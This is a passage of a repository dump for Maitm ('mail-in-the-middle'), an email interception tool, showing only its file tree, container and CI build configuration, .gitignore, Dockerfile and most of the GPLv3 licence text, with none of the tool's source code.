├── .devcontainer
└── devcontainer.json
├── .dockerignore
├── .github
└── workflows
│ └── publish-registry.yml
├── .gitignore
├── Dockerfile
├── LICENSE
├── Maitm
├── Bells.py
├── MailConverter.py
├── MailManager.py
├── Maitm.py
└── __init__.py
├── Pipfile
├── Pipfile.lock
├── README.md
├── config
├── auth.yml
├── config.yml
├── filter.yml
├── injections.yml
├── logging.yml
├── misc.yml
├── notifications.yml
└── typos.yml
├── gui.css
├── img
├── arch.png
├── flowchart.drawio.png
├── maitm-auth-screen.png
├── maitm-filter.png
├── maitm-injections.png
├── maitm-misc-1.png
├── maitm-misc-2.png
├── maitm-run-interface.png
├── maitm-typos.png
└── maitm.png
├── mail-in-the-middle.py
├── tabs
├── __init__.py
├── authentication.py
├── feedbackmodal.py
├── filter.py
├── injection.py
├── misc.py
├── notifications.py
└── typos.py
├── tui.py
└── version
/.devcontainer/devcontainer.json:
--------------------------------------------------------------------------------
1 | {
2 | "name": "Maitm Dev Container",
3 | "dockerFile": "../Dockerfile",
4 | "context": "..",
5 | "build": {
6 | "args": {}
7 | },
8 | "mounts": [
9 | "source=${env:HOME}/.ssh,target=/root/.ssh,type=bind,consistency=cached"
10 | ],
11 | "customizations": {
12 | "vscode": {
13 | "settings": {
14 | "terminal.integrated.shell.linux": "/bin/sh"
15 | },
16 | "extensions": [
17 | "ms-python.python",
18 | "ms-azuretools.vscode-docker",
19 | "ms-python.debugpy",
20 | "github.vscode-github-actions"
21 | ]
22 | }
23 | },
24 | "workspaceFolder": "/Maitm",
25 | "postCreateCommand": "apk add git --no-cache && apk add openssh --no-cache",
26 | "remoteUser": "root",
27 | "workspaceMount": "source=${localWorkspaceFolder},target=/Maitm,type=bind"
28 | }
29 |
--------------------------------------------------------------------------------
/.dockerignore:
--------------------------------------------------------------------------------
1 | .DS_Store
2 | config/prod
3 | config/*prod*
4 |
--------------------------------------------------------------------------------
/.github/workflows/publish-registry.yml:
--------------------------------------------------------------------------------
1 | name: Publish Docker image and Create Release
2 |
3 | permissions:
4 | contents: write
5 |
6 | on:
7 | push:
8 | tags:
9 | - 'v*'
10 |
11 | jobs:
12 | publish:
13 | runs-on: ubuntu-latest
14 |
15 | env:
16 | IMAGE_NAME: maitm # Define the image name variable
17 |
18 | steps:
19 | - name: Print Variables and Extract Git Tag
20 | shell: bash
21 | run: |
22 | echo "ref_type: ${{github.ref_type}}"
23 | echo "ref: ${{github.ref}}"
24 | echo "base_ref: ${{github.base_ref}}"
25 | echo "github.repository: ${{github.repository}}"
26 | echo "GIT_TAG=${GITHUB_REF#refs/tags/}" >> $GITHUB_ENV
27 |
28 | - name: Checkout code
29 | uses: actions/checkout@v2
30 |
31 | - name: Log in to GitHub Container Registry
32 | run: echo "${{ secrets.GHCR_PAT }}" | docker login ghcr.io -u ${{ github.actor }} --password-stdin
33 |
34 | - name: Build Docker image
35 | run: |
36 | docker build -t ghcr.io/${{ github.repository }}/${{env.IMAGE_NAME}}:${{ github.ref_name }} .
37 |
38 | - name: Build Docker Image
39 | run: |
40 | docker build \
41 | --build-arg VERSION=${{ env.GIT_TAG }} \
42 | --build-arg GITHUB_SHA=${{ github.sha }} \
43 | --build-arg BUILD_DATE=$(date -u +'%Y-%m-%dT%H:%M:%SZ') \
44 | -t ghcr.io/${{ github.repository }}/${{env.IMAGE_NAME}}:${{ github.ref_name }} \
45 | -t ghcr.io/${{ github.repository }}/${{env.IMAGE_NAME}}:latest \
46 | .
47 |
48 | - name: Push Docker image to GitHub Container Registry
49 | run: |
50 | docker push ghcr.io/${{ github.repository }}/${{env.IMAGE_NAME}}:${{ github.ref_name }}
51 | docker push ghcr.io/${{ github.repository }}/${{env.IMAGE_NAME}}:latest
52 |
53 | - name: Generate Random Release Name
54 | id: generator
55 | uses: octodemo-resources/name-generator-action@v1
56 |
57 | - name: Create GitHub Release
58 | uses: actions/create-release@v1
59 | env:
60 | GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} # Automatically provided by GitHub Actions
61 | with:
62 | tag_name: ${{ github.ref_name }} # Use the tag name as the release title
63 | release_name: ${{ github.ref_name }} - ${{steps.generator.outputs.name}}
64 | body: |
65 | This is the release of version ${{ github.ref_name }} - ${{steps.generator.outputs.name}}.
66 | draft: false
67 | prerelease: false
68 |
--------------------------------------------------------------------------------
/.gitignore:
--------------------------------------------------------------------------------
1 | # Logs
2 | logs
3 | *.log
4 | npm-debug.log*
5 | yarn-debug.log*
6 | yarn-error.log*
7 | lerna-debug.log*
8 |
9 | # Diagnostic reports (https://nodejs.org/api/report.html)
10 | report.[0-9]*.[0-9]*.[0-9]*.[0-9]*.json
11 |
12 | # Runtime data
13 | pids
14 | *.pid
15 | *.seed
16 | *.pid.lock
17 |
18 | # Directory for instrumented libs generated by jscoverage/JSCover
19 | lib-cov
20 |
21 | # Coverage directory used by tools like istanbul
22 | coverage
23 | *.lcov
24 |
25 | # nyc test coverage
26 | .nyc_output
27 |
28 | # Grunt intermediate storage (https://gruntjs.com/creating-plugins#storing-task-files)
29 | .grunt
30 |
31 | # Bower dependency directory (https://bower.io/)
32 | bower_components
33 |
34 | # node-waf configuration
35 | .lock-wscript
36 |
37 | # Compiled binary addons (https://nodejs.org/api/addons.html)
38 | build/Release
39 |
40 | # Dependency directories
41 | node_modules/
42 | jspm_packages/
43 |
44 | # Snowpack dependency directory (https://snowpack.dev/)
45 | web_modules/
46 |
47 | # TypeScript cache
48 | *.tsbuildinfo
49 |
50 | # Optional npm cache directory
51 | .npm
52 |
53 | # Optional eslint cache
54 | .eslintcache
55 |
56 | # Microbundle cache
57 | .rpt2_cache/
58 | .rts2_cache_cjs/
59 | .rts2_cache_es/
60 | .rts2_cache_umd/
61 |
62 | # Optional REPL history
63 | .node_repl_history
64 |
65 | # Output of 'npm pack'
66 | *.tgz
67 |
68 | # Yarn Integrity file
69 | .yarn-integrity
70 |
71 | # dotenv environment variables file
72 | .env
73 | .env.test
74 |
75 | # parcel-bundler cache (https://parceljs.org/)
76 | .cache
77 | .parcel-cache
78 |
79 | # Next.js build output
80 | .next
81 | out
82 |
83 | # Nuxt.js build / generate output
84 | .nuxt
85 | dist
86 |
87 | # Gatsby files
88 | .cache/
89 | # Comment in the public line in if your project uses Gatsby and not Next.js
90 | # https://nextjs.org/blog/next-9-1#public-directory-support
91 | # public
92 |
93 | # vuepress build output
94 | .vuepress/dist
95 |
96 | # Serverless directories
97 | .serverless/
98 |
99 | # FuseBox cache
100 | .fusebox/
101 |
102 | # DynamoDB Local files
103 | .dynamodb/
104 |
105 | # TernJS port file
106 | .tern-port
107 |
108 | # Stores VSCode versions used for testing VSCode extensions
109 | .vscode-test
110 |
111 | # yarn v2
112 | .yarn/cache
113 | .yarn/unplugged
114 | .yarn/build-state.yml
115 | .yarn/install-state.gz
116 | .pnp.*
117 |
118 | .vscode
119 | config.yml
120 | config*.yaml
121 | forwardedemails.txt
122 | config*.yml
123 | config*.yaml
124 |
125 | *.pyc
126 | *.old
127 | *.drawio
128 |
129 | config/prod/*
130 | config/demo*
131 |
132 | attachments/
133 |
134 | .DS_Store
135 |
--------------------------------------------------------------------------------
/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM alpine:3.20
2 | LABEL name="Maitm"
3 |
4 |
5 | # Accept build arguments
6 | ARG VERSION
7 | ARG GITHUB_SHA
8 | ARG BUILD_DATE
9 |
10 | # Labels with dynamic values
11 | LABEL "com.example.vendor"="Orange Cyberdefense Sensepost Team"
12 | LABEL org.opencontainers.image.authors="Felipe Molina de la Torre (@felmoltor)"
13 | LABEL org.opencontainers.image.source="https://github.com/sensepost/mail-in-the-middle"
14 | LABEL org.opencontainers.image.url="https://github.com/sensepost/mail-in-the-middle"
15 | LABEL org.opencontainers.image.version=$VERSION
16 | LABEL org.opencontainers.image.revision=$GITHUB_SHA
17 | LABEL org.opencontainers.image.created=$BUILD_DATE
18 |
19 | COPY *.py /Maitm/
20 | COPY Pipfile /Maitm/
21 | COPY Pipfile.lock /Maitm/
22 | COPY Maitm /Maitm/Maitm
23 | COPY config /Maitm/config
24 | COPY tabs /Maitm/tabs
25 | COPY gui.css /Maitm/gui.css
26 | COPY version /Maitm/version
27 | COPY README.md /Maitm/
28 | RUN apk update && \
29 | apk add python3 && \
30 | apk add py3-pip && \
31 | apk add gcc && \
32 | apk add python3-dev && \
33 | apk add libc-dev && \
34 | apk add libffi-dev && \
35 | apk add pipx && \
36 | apk add yaml-dev
37 | # Uninstalling setuptools as it produces this error: https://github.com/pypa/setuptools/issues/4483
38 | # It will be installed later during pipenv install command
39 | # Update the path to have pipx tools available in the command line
40 | ENV PATH="$PATH:/root/.local/bin"
41 | RUN pipx install pipenv
42 | WORKDIR /Maitm
43 | # RUN cd /Maitm
44 | RUN pipenv install --python=3.12
45 |
46 | # The user has to provide the parameters in Docker invocation, such as:
47 | # docker run --rm -ti maitm -h
48 | # docker run --rm -ti maitm -c config/config.yml -f -n
49 | ENTRYPOINT [ "pipenv", "run", "python", "./mail-in-the-middle.py" ]
50 |
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | GNU GENERAL PUBLIC LICENSE
2 | Version 3, 29 June 2007
3 |
4 | Copyright (C) 2007 Free Software Foundation, Inc.
5 | Everyone is permitted to copy and distribute verbatim copies
6 | of this license document, but changing it is not allowed.
7 |
8 | Preamble
9 |
10 | The GNU General Public License is a free, copyleft license for
11 | software and other kinds of works.
12 |
13 | The licenses for most software and other practical works are designed
14 | to take away your freedom to share and change the works. By contrast,
15 | the GNU General Public License is intended to guarantee your freedom to
16 | share and change all versions of a program--to make sure it remains free
17 | software for all its users. We, the Free Software Foundation, use the
18 | GNU General Public License for most of our software; it applies also to
19 | any other work released this way by its authors. You can apply it to
20 | your programs, too.
21 |
22 | When we speak of free software, we are referring to freedom, not
23 | price. Our General Public Licenses are designed to make sure that you
24 | have the freedom to distribute copies of free software (and charge for
25 | them if you wish), that you receive source code or can get it if you
26 | want it, that you can change the software or use pieces of it in new
27 | free programs, and that you know you can do these things.
28 |
29 | To protect your rights, we need to prevent others from denying you
30 | these rights or asking you to surrender the rights. Therefore, you have
31 | certain responsibilities if you distribute copies of the software, or if
32 | you modify it: responsibilities to respect the freedom of others.
33 |
34 | For example, if you distribute copies of such a program, whether
35 | gratis or for a fee, you must pass on to the recipients the same
36 | freedoms that you received. You must make sure that they, too, receive
37 | or can get the source code. And you must show them these terms so they
38 | know their rights.
39 |
40 | Developers that use the GNU GPL protect your rights with two steps:
41 | (1) assert copyright on the software, and (2) offer you this License
42 | giving you legal permission to copy, distribute and/or modify it.
43 |
44 | For the developers' and authors' protection, the GPL clearly explains
45 | that there is no warranty for this free software. For both users' and
46 | authors' sake, the GPL requires that modified versions be marked as
47 | changed, so that their problems will not be attributed erroneously to
48 | authors of previous versions.
49 |
50 | Some devices are designed to deny users access to install or run
51 | modified versions of the software inside them, although the manufacturer
52 | can do so. This is fundamentally incompatible with the aim of
53 | protecting users' freedom to change the software. The systematic
54 | pattern of such abuse occurs in the area of products for individuals to
55 | use, which is precisely where it is most unacceptable. Therefore, we
56 | have designed this version of the GPL to prohibit the practice for those
57 | products. If such problems arise substantially in other domains, we
58 | stand ready to extend this provision to those domains in future versions
59 | of the GPL, as needed to protect the freedom of users.
60 |
61 | Finally, every program is threatened constantly by software patents.
62 | States should not allow patents to restrict development and use of
63 | software on general-purpose computers, but in those that do, we wish to
64 | avoid the special danger that patents applied to a free program could
65 | make it effectively proprietary. To prevent this, the GPL assures that
66 | patents cannot be used to render the program non-free.
67 |
68 | The precise terms and conditions for copying, distribution and
69 | modification follow.
70 |
71 | TERMS AND CONDITIONS
72 |
73 | 0. Definitions.
74 |
75 | "This License" refers to version 3 of the GNU General Public License.
76 |
77 | "Copyright" also means copyright-like laws that apply to other kinds of
78 | works, such as semiconductor masks.
79 |
80 | "The Program" refers to any copyrightable work licensed under this
81 | License. Each licensee is addressed as "you". "Licensees" and
82 | "recipients" may be individuals or organizations.
83 |
84 | To "modify" a work means to copy from or adapt all or part of the work
85 | in a fashion requiring copyright permission, other than the making of an
86 | exact copy. The resulting work is called a "modified version" of the
87 | earlier work or a work "based on" the earlier work.
88 |
89 | A "covered work" means either the unmodified Program or a work based
90 | on the Program.
91 |
92 | To "propagate" a work means to do anything with it that, without
93 | permission, would make you directly or secondarily liable for
94 | infringement under applicable copyright law, except executing it on a
95 | computer or modifying a private copy. Propagation includes copying,
96 | distribution (with or without modification), making available to the
97 | public, and in some countries other activities as well.
98 |
99 | To "convey" a work means any kind of propagation that enables other
100 | parties to make or receive copies. Mere interaction with a user through
101 | a computer network, with no transfer of a copy, is not conveying.
102 |
103 | An interactive user interface displays "Appropriate Legal Notices"
104 | to the extent that it includes a convenient and prominently visible
105 | feature that (1) displays an appropriate copyright notice, and (2)
106 | tells the user that there is no warranty for the work (except to the
107 | extent that warranties are provided), that licensees may convey the
108 | work under this License, and how to view a copy of this License. If
109 | the interface presents a list of user commands or options, such as a
110 | menu, a prominent item in the list meets this criterion.
111 |
112 | 1. Source Code.
113 |
114 | The "source code" for a work means the preferred form of the work
115 | for making modifications to it. "Object code" means any non-source
116 | form of a work.
117 |
118 | A "Standard Interface" means an interface that either is an official
119 | standard defined by a recognized standards body, or, in the case of
120 | interfaces specified for a particular programming language, one that
121 | is widely used among developers working in that language.
122 |
123 | The "System Libraries" of an executable work include anything, other
124 | than the work as a whole, that (a) is included in the normal form of
125 | packaging a Major Component, but which is not part of that Major
126 | Component, and (b) serves only to enable use of the work with that
127 | Major Component, or to implement a Standard Interface for which an
128 | implementation is available to the public in source code form. A
129 | "Major Component", in this context, means a major essential component
130 | (kernel, window system, and so on) of the specific operating system
131 | (if any) on which the executable work runs, or a compiler used to
132 | produce the work, or an object code interpreter used to run it.
133 |
134 | The "Corresponding Source" for a work in object code form means all
135 | the source code needed to generate, install, and (for an executable
136 | work) run the object code and to modify the work, including scripts to
137 | control those activities. However, it does not include the work's
138 | System Libraries, or general-purpose tools or generally available free
139 | programs which are used unmodified in performing those activities but
140 | which are not part of the work. For example, Corresponding Source
141 | includes interface definition files associated with source files for
142 | the work, and the source code for shared libraries and dynamically
143 | linked subprograms that the work is specifically designed to require,
144 | such as by intimate data communication or control flow between those
145 | subprograms and other parts of the work.
146 |
147 | The Corresponding Source need not include anything that users
148 | can regenerate automatically from other parts of the Corresponding
149 | Source.
150 |
151 | The Corresponding Source for a work in source code form is that
152 | same work.
153 |
154 | 2. Basic Permissions.
155 |
156 | All rights granted under this License are granted for the term of
157 | copyright on the Program, and are irrevocable provided the stated
158 | conditions are met. This License explicitly affirms your unlimited
159 | permission to run the unmodified Program. The output from running a
160 | covered work is covered by this License only if the output, given its
161 | content, constitutes a covered work. This License acknowledges your
162 | rights of fair use or other equivalent, as provided by copyright law.
163 |
164 | You may make, run and propagate covered works that you do not
165 | convey, without conditions so long as your license otherwise remains
166 | in force. You may convey covered works to others for the sole purpose
167 | of having them make modifications exclusively for you, or provide you
168 | with facilities for running those works, provided that you comply with
169 | the terms of this License in conveying all material for which you do
170 | not control copyright. Those thus making or running the covered works
171 | for you must do so exclusively on your behalf, under your direction
172 | and control, on terms that prohibit them from making any copies of
173 | your copyrighted material outside their relationship with you.
174 |
175 | Conveying under any other circumstances is permitted solely under
176 | the conditions stated below. Sublicensing is not allowed; section 10
177 | makes it unnecessary.
178 |
179 | 3. Protecting Users' Legal Rights From Anti-Circumvention Law.
180 |
181 | No covered work shall be deemed part of an effective technological
182 | measure under any applicable law fulfilling obligations under article
183 | 11 of the WIPO copyright treaty adopted on 20 December 1996, or
184 | similar laws prohibiting or restricting circumvention of such
185 | measures.
186 |
187 | When you convey a covered work, you waive any legal power to forbid
188 | circumvention of technological measures to the extent such circumvention
189 | is effected by exercising rights under this License with respect to
190 | the covered work, and you disclaim any intention to limit operation or
191 | modification of the work as a means of enforcing, against the work's
192 | users, your or third parties' legal rights to forbid circumvention of
193 | technological measures.
194 |
195 | 4. Conveying Verbatim Copies.
196 |
197 | You may convey verbatim copies of the Program's source code as you
198 | receive it, in any medium, provided that you conspicuously and
199 | appropriately publish on each copy an appropriate copyright notice;
200 | keep intact all notices stating that this License and any
201 | non-permissive terms added in accord with section 7 apply to the code;
202 | keep intact all notices of the absence of any warranty; and give all
203 | recipients a copy of this License along with the Program.
204 |
205 | You may charge any price or no price for each copy that you convey,
206 | and you may offer support or warranty protection for a fee.
207 |
208 | 5. Conveying Modified Source Versions.
209 |
210 | You may convey a work based on the Program, or the modifications to
211 | produce it from the Program, in the form of source code under the
212 | terms of section 4, provided that you also meet all of these conditions:
213 |
214 | a) The work must carry prominent notices stating that you modified
215 | it, and giving a relevant date.
216 |
217 | b) The work must carry prominent notices stating that it is
218 | released under this License and any conditions added under section
219 | 7. This requirement modifies the requirement in section 4 to
220 | "keep intact all notices".
221 |
222 | c) You must license the entire work, as a whole, under this
223 | License to anyone who comes into possession of a copy. This
224 | License will therefore apply, along with any applicable section 7
225 | additional terms, to the whole of the work, and all its parts,
226 | regardless of how they are packaged. This License gives no
227 | permission to license the work in any other way, but it does not
228 | invalidate such permission if you have separately received it.
229 |
230 | d) If the work has interactive user interfaces, each must display
231 | Appropriate Legal Notices; however, if the Program has interactive
232 | interfaces that do not display Appropriate Legal Notices, your
233 | work need not make them do so.
234 |
235 | A compilation of a covered work with other separate and independent
236 | works, which are not by their nature extensions of the covered work,
237 | and which are not combined with it such as to form a larger program,
238 | in or on a volume of a storage or distribution medium, is called an
239 | "aggregate" if the compilation and its resulting copyright are not
240 | used to limit the access or legal rights of the compilation's users
241 | beyond what the individual works permit. Inclusion of a covered work
242 | in an aggregate does not cause this License to apply to the other
243 | parts of the aggregate.
244 |
245 | 6. Conveying Non-Source Forms.
246 |
247 | You may convey a covered work in object code form under the terms
248 | of sections 4 and 5, provided that you also convey the
249 | machine-readable Corresponding Source under the terms of this License,
250 | in one of these ways:
251 |
252 | a) Convey the object code in, or embodied in, a physical product
253 | (including a physical distribution medium), accompanied by the
254 | Corresponding Source fixed on a durable physical medium
255 | customarily used for software interchange.
256 |
257 | b) Convey the object code in, or embodied in, a physical product
258 | (including a physical distribution medium), accompanied by a
259 | written offer, valid for at least three years and valid for as
260 | long as you offer spare parts or customer support for that product
261 | model, to give anyone who possesses the object code either (1) a
262 | copy of the Corresponding Source for all the software in the
263 | product that is covered by this License, on a durable physical
264 | medium customarily used for software interchange, for a price no
265 | more than your reasonable cost of physically performing this
266 | conveying of source, or (2) access to copy the
267 | Corresponding Source from a network server at no charge.
268 |
269 | c) Convey individual copies of the object code with a copy of the
270 | written offer to provide the Corresponding Source. This
271 | alternative is allowed only occasionally and noncommercially, and
272 | only if you received the object code with such an offer, in accord
273 | with subsection 6b.
274 |
275 | d) Convey the object code by offering access from a designated
276 | place (gratis or for a charge), and offer equivalent access to the
277 | Corresponding Source in the same way through the same place at no
278 | further charge. You need not require recipients to copy the
279 | Corresponding Source along with the object code. If the place to
280 | copy the object code is a network server, the Corresponding Source
281 | may be on a different server (operated by you or a third party)
282 | that supports equivalent copying facilities, provided you maintain
283 | clear directions next to the object code saying where to find the
284 | Corresponding Source. Regardless of what server hosts the
285 | Corresponding Source, you remain obligated to ensure that it is
286 | available for as long as needed to satisfy these requirements.
287 |
288 | e) Convey the object code using peer-to-peer transmission, provided
289 | you inform other peers where the object code and Corresponding
290 | Source of the work are being offered to the general public at no
291 | charge under subsection 6d.
292 |
293 | A separable portion of the object code, whose source code is excluded
294 | from the Corresponding Source as a System Library, need not be
295 | included in conveying the object code work.
296 |
297 | A "User Product" is either (1) a "consumer product", which means any
298 | tangible personal property which is normally used for personal, family,
299 | or household purposes, or (2) anything designed or sold for incorporation
300 | into a dwelling. In determining whether a product is a consumer product,
301 | doubtful cases shall be resolved in favor of coverage. For a particular
302 | product received by a particular user, "normally used" refers to a
303 | typical or common use of that class of product, regardless of the status
304 | of the particular user or of the way in which the particular user
305 | actually uses, or expects or is expected to use, the product. A product
306 | is a consumer product regardless of whether the product has substantial
307 | commercial, industrial or non-consumer uses, unless such uses represent
308 | the only significant mode of use of the product.
309 |
310 | "Installation Information" for a User Product means any methods,
311 | procedures, authorization keys, or other information required to install
312 | and execute modified versions of a covered work in that User Product from
313 | a modified version of its Corresponding Source. The information must
314 | suffice to ensure that the continued functioning of the modified object
315 | code is in no case prevented or interfered with solely because
316 | modification has been made.
317 |
318 | If you convey an object code work under this section in, or with, or
319 | specifically for use in, a User Product, and the conveying occurs as
320 | part of a transaction in which the right of possession and use of the
321 | User Product is transferred to the recipient in perpetuity or for a
322 | fixed term (regardless of how the transaction is characterized), the
323 | Corresponding Source conveyed under this section must be accompanied
324 | by the Installation Information. But this requirement does not apply
325 | if neither you nor any third party retains the ability to install
326 | modified object code on the User Product (for example, the work has
327 | been installed in ROM).
328 |
329 | The requirement to provide Installation Information does not include a
330 | requirement to continue to provide support service, warranty, or updates
331 | for a work that has been modified or installed by the recipient, or for
332 | the User Product in which it has been modified or installed. Access to a
333 | network may be denied when the modification itself materially and
334 | adversely affects the operation of the network or violates the rules and
335 | protocols for communication across the network.
336 |
337 | Corresponding Source conveyed, and Installation Information provided,
338 | in accord with this section must be in a format that is publicly
339 | documented (and with an implementation available to the public in
340 | source code form), and must require no special password or key for
341 | unpacking, reading or copying.
342 |
343 | 7. Additional Terms.
344 |
345 | "Additional permissions" are terms that supplement the terms of this
346 | License by making exceptions from one or more of its conditions.
347 | Additional permissions that are applicable to the entire Program shall
348 | be treated as though they were included in this License, to the extent
349 | that they are valid under applicable law. If additional permissions
350 | apply only to part of the Program, that part may be used separately
351 | under those permissions, but the entire Program remains governed by
352 | this License without regard to the additional permissions.
353 |
354 | When you convey a copy of a covered work, you may at your option
355 | remove any additional permissions from that copy, or from any part of
356 | it. (Additional permissions may be written to require their own
357 | removal in certain cases when you modify the work.) You may place
358 | additional permissions on material, added by you to a covered work,
359 | for which you have or can give appropriate copyright permission.
360 |
361 | Notwithstanding any other provision of this License, for material you
362 | add to a covered work, you may (if authorized by the copyright holders of
363 | that material) supplement the terms of this License with terms:
364 |
365 | a) Disclaiming warranty or limiting liability differently from the
366 | terms of sections 15 and 16 of this License; or
367 |
368 | b) Requiring preservation of specified reasonable legal notices or
369 | author attributions in that material or in the Appropriate Legal
370 | Notices displayed by works containing it; or
371 |
372 | c) Prohibiting misrepresentation of the origin of that material, or
373 | requiring that modified versions of such material be marked in
374 | reasonable ways as different from the original version; or
375 |
376 | d) Limiting the use for publicity purposes of names of licensors or
377 | authors of the material; or
378 |
379 | e) Declining to grant rights under trademark law for use of some
380 | trade names, trademarks, or service marks; or
381 |
382 | f) Requiring indemnification of licensors and authors of that
383 | material by anyone who conveys the material (or modified versions of
384 | it) with contractual assumptions of liability to the recipient, for
385 | any liability that these contractual assumptions directly impose on
386 | those licensors and authors.
387 |
388 | All other non-permissive additional terms are considered "further
389 | restrictions" within the meaning of section 10. If the Program as you
390 | received it, or any part of it, contains a notice stating that it is
391 | governed by this License along with a term that is a further
392 | restriction, you may remove that term. If a license document contains
393 | a further restriction but permits relicensing or conveying under this
394 | License, you may add to a covered work material governed by the terms
395 | of that license document, provided that the further restriction does
396 | not survive such relicensing or conveying.
397 |
398 | If you add terms to a covered work in accord with this section, you
399 | must place, in the relevant source files, a statement of the
400 | additional terms that apply to those files, or a notice indicating
401 | where to find the applicable terms.
402 |
403 | Additional terms, permissive or non-permissive, may be stated in the
404 | form of a separately written license, or stated as exceptions;
405 | the above requirements apply either way.
406 |
407 | 8. Termination.
408 |
409 | You may not propagate or modify a covered work except as expressly
410 | provided under this License. Any attempt otherwise to propagate or
411 | modify it is void, and will automatically terminate your rights under
412 | this License (including any patent licenses granted under the third
413 | paragraph of section 11).
414 |
415 | However, if you cease all violation of this License, then your
416 | license from a particular copyright holder is reinstated (a)
417 | provisionally, unless and until the copyright holder explicitly and
418 | finally terminates your license, and (b) permanently, if the copyright
419 | holder fails to notify you of the violation by some reasonable means
420 | prior to 60 days after the cessation.
421 |
422 | Moreover, your license from a particular copyright holder is
423 | reinstated permanently if the copyright holder notifies you of the
424 | violation by some reasonable means, this is the first time you have
425 | received notice of violation of this License (for any work) from that
426 | copyright holder, and you cure the violation prior to 30 days after
427 | your receipt of the notice.
428 |
429 | Termination of your rights under this section does not terminate the
430 | licenses of parties who have received copies or rights from you under
431 | this License. If your rights have been terminated and not permanently
432 | reinstated, you do not qualify to receive new licenses for the same
433 | material under section 10.
434 |
435 | 9. Acceptance Not Required for Having Copies.
436 |
437 | You are not required to accept this License in order to receive or
438 | run a copy of the Program. Ancillary propagation of a covered work
439 | occurring solely as a consequence of using peer-to-peer transmission
440 | to receive a copy likewise does not require acceptance. However,
441 | nothing other than this License grants you permission to propagate or
442 | modify any covered work. These actions infringe copyright if you do
443 | not accept this License. Therefore, by modifying or propagating a
444 | covered work, you indicate your acceptance of this License to do so.
445 |
446 | 10. Automatic Licensing of Downstream Recipients.
447 |
448 | Each time you convey a covered work, the recipient automatically
449 | receives a license from the original licensors, to run, modify and
450 | propagate that work, subject to this License. You are not responsible
451 | for enforcing compliance by third parties with this License.
452 |
453 | An "entity transaction" is a transaction transferring control of an
454 | organization, or substantially all assets of one, or subdividing an
455 | organization, or merging organizations. If propagation of a covered
456 | work results from an entity transaction, each party to that
457 | transaction who receives a copy of the work also receives whatever
458 | licenses to the work the party's predecessor in interest had or could
459 | give under the previous paragraph, plus a right to possession of the
460 | Corresponding Source of the work from the predecessor in interest, if
461 | the predecessor has it or can get it with reasonable efforts.
462 |
463 | You may not impose any further restrictions on the exercise of the
464 | rights granted or affirmed under this License. For example, you may
465 | not impose a license fee, royalty, or other charge for exercise of
466 | rights granted under this License, and you may not initiate litigation
467 | (including a cross-claim or counterclaim in a lawsuit) alleging that
468 | any patent claim is infringed by making, using, selling, offering for
469 | sale, or importing the Program or any portion of it.
470 |
471 | 11. Patents.
472 |
473 | A "contributor" is a copyright holder who authorizes use under this
474 | License of the Program or a work on which the Program is based. The
475 | work thus licensed is called the contributor's "contributor version".
476 |
477 | A contributor's "essential patent claims" are all patent claims
478 | owned or controlled by the contributor, whether already acquired or
479 | hereafter acquired, that would be infringed by some manner, permitted
480 | by this License, of making, using, or selling its contributor version,
481 | but do not include claims that would be infringed only as a
482 | consequence of further modification of the contributor version. For
483 | purposes of this definition, "control" includes the right to grant
484 | patent sublicenses in a manner consistent with the requirements of
485 | this License.
486 |
487 | Each contributor grants you a non-exclusive, worldwide, royalty-free
488 | patent license under the contributor's essential patent claims, to
489 | make, use, sell, offer for sale, import and otherwise run, modify and
490 | propagate the contents of its contributor version.
491 |
492 | In the following three paragraphs, a "patent license" is any express
493 | agreement or commitment, however denominated, not to enforce a patent
494 | (such as an express permission to practice a patent or covenant not to
495 | sue for patent infringement). To "grant" such a patent license to a
496 | party means to make such an agreement or commitment not to enforce a
497 | patent against the party.
498 |
499 | If you convey a covered work, knowingly relying on a patent license,
500 | and the Corresponding Source of the work is not available for anyone
501 | to copy, free of charge and under the terms of this License, through a
502 | publicly available network server or other readily accessible means,
503 | then you must either (1) cause the Corresponding Source to be so
504 | available, or (2) arrange to deprive yourself of the benefit of the
505 | patent license for this particular work, or (3) arrange, in a manner
506 | consistent with the requirements of this License, to extend the patent
507 | license to downstream recipients. "Knowingly relying" means you have
508 | actual knowledge that, but for the patent license, your conveying the
509 | covered work in a country, or your recipient's use of the covered work
510 | in a country, would infringe one or more identifiable patents in that
511 | country that you have reason to believe are valid.
512 |
513 | If, pursuant to or in connection with a single transaction or
514 | arrangement, you convey, or propagate by procuring conveyance of, a
515 | covered work, and grant a patent license to some of the parties
516 | receiving the covered work authorizing them to use, propagate, modify
517 | or convey a specific copy of the covered work, then the patent license
518 | you grant is automatically extended to all recipients of the covered
519 | work and works based on it.
520 |
521 | A patent license is "discriminatory" if it does not include within
522 | the scope of its coverage, prohibits the exercise of, or is
523 | conditioned on the non-exercise of one or more of the rights that are
524 | specifically granted under this License. You may not convey a covered
525 | work if you are a party to an arrangement with a third party that is
526 | in the business of distributing software, under which you make payment
527 | to the third party based on the extent of your activity of conveying
528 | the work, and under which the third party grants, to any of the
529 | parties who would receive the covered work from you, a discriminatory
530 | patent license (a) in connection with copies of the covered work
531 | conveyed by you (or copies made from those copies), or (b) primarily
532 | for and in connection with specific products or compilations that
533 | contain the covered work, unless you entered into that arrangement,
534 | or that patent license was granted, prior to 28 March 2007.
535 |
536 | Nothing in this License shall be construed as excluding or limiting
537 | any implied license or other defenses to infringement that may
538 | otherwise be available to you under applicable patent law.
539 |
540 | 12. No Surrender of Others' Freedom.
541 |
542 | If conditions are imposed on you (whether by court order, agreement or
543 | otherwise) that contradict the conditions of this License, they do not
544 | excuse you from the conditions of this License. If you cannot convey a
545 | covered work so as to satisfy simultaneously your obligations under this
546 | License and any other pertinent obligations, then as a consequence you may
547 | not convey it at all. For example, if you agree to terms that obligate you
548 | to collect a royalty for further conveying from those to whom you convey
549 | the Program, the only way you could satisfy both those terms and this
550 | License would be to refrain entirely from conveying the Program.
551 |
552 | 13. Use with the GNU Affero General Public License.
553 |
554 | Notwithstanding any other provision of this License, you have
555 | permission to link or combine any covered work with a work licensed
556 | under version 3 of the GNU Affero General Public License into a single
557 | combined work, and to convey the resulting work. The terms of this
558 | License will continue to apply to the part which is the covered work,
559 | but the special requirements of the GNU Affero General Public License,
560 | section 13, concerning interaction through a network will apply to the
561 | combination as such.
562 |
563 | 14. Revised Versions of this License.
564 |
565 | The Free Software Foundation may publish revised and/or new versions of
566 | the GNU General Public License from time to time. Such new versions will
567 | be similar in spirit to the present version, but may differ in detail to
568 | address new problems or concerns.
569 |
570 | Each version is given a distinguishing version number. If the
571 | Program specifies that a certain numbered version of the GNU General
